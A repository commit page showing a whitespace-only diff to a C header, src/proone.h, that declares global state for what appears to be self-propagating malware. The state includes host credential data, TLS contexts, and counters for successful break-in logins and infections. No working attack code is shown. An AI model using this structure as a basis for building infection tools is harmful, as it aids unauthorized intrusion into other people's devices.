aboutsummaryrefslogtreecommitdiff
path: root/src/proone.h
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-01-15 18:36:25 +1100
committerDavid Timber <mieabby@gmail.com>2020-01-15 18:45:50 +1100
commita9762b186c68797c19c61bf0284a80d9bc51a2ca (patch)
treee1aa87bac8d8605ec3c5f069e1bc83dc2048fbfe /src/proone.h
parentf97fd125b9e2f8ff27da61a882c50ce66cc79d2d (diff)
unexpand
Diffstat (limited to 'src/proone.h')
-rw-r--r--src/proone.h74
1 files changed, 37 insertions, 37 deletions
diff --git a/src/proone.h b/src/proone.h
index 967b8ce..b7f0cfb 100644
--- a/src/proone.h
+++ b/src/proone.h
@@ -13,47 +13,47 @@
struct prne_global {
- uint8_t *host_cred_data;
- size_t host_cred_size;
- struct timespec god_start;
- uint_fast64_t run_cnt;
- prne_resolv_wkr_ctx_t resolv;
- int god_exit_evt;
- int caught_signal;
- pid_t god_pid;
- pid_t proone_pid;
- int lock_shm_fd;
- bool bin_ready;
- bool is_child;
-
- prne_unpack_bin_archive_result_t bin_pack;
- prne_bin_archive_t bin_archive;
+ uint8_t *host_cred_data;
+ size_t host_cred_size;
+ struct timespec god_start;
+ uint_fast64_t run_cnt;
+ prne_resolv_wkr_ctx_t resolv;
+ int god_exit_evt;
+ int caught_signal;
+ pid_t god_pid;
+ pid_t proone_pid;
+ int lock_shm_fd;
+ bool bin_ready;
+ bool is_child;
+
+ prne_unpack_bin_archive_result_t bin_pack;
+ prne_bin_archive_t bin_archive;
- struct {
- mbedtls_x509_crt ca;
- mbedtls_entropy_context entpy;
- mbedtls_ctr_drbg_context rnd;
- } ssl;
- struct {
- bool ready;
- mbedtls_ssl_config conf;
- mbedtls_x509_crt crt;
- mbedtls_pk_context pk;
- mbedtls_dhm_context dhm;
- } s_ssl;
- struct {
- bool ready;
- mbedtls_ssl_config conf;
- mbedtls_x509_crt crt;
- mbedtls_pk_context pk;
- } c_ssl;
+ struct {
+ mbedtls_x509_crt ca;
+ mbedtls_entropy_context entpy;
+ mbedtls_ctr_drbg_context rnd;
+ } ssl;
+ struct {
+ bool ready;
+ mbedtls_ssl_config conf;
+ mbedtls_x509_crt crt;
+ mbedtls_pk_context pk;
+ mbedtls_dhm_context dhm;
+ } s_ssl;
+ struct {
+ bool ready;
+ mbedtls_ssl_config conf;
+ mbedtls_x509_crt crt;
+ mbedtls_pk_context pk;
+ } c_ssl;
};
struct prne_shared_global {
- // "break and entry" count. Number of successful logins.
- uint_fast64_t bne_cnt;
- // Number of successful infections.
- uint_fast64_t infect_cnt;
+ // "break and entry" count. Number of successful logins.
+ uint_fast64_t bne_cnt;
+ // Number of successful infections.
+ uint_fast64_t infect_cnt;
};
static const intptr_t PRNE_RESOLV_WKR_ID = 0;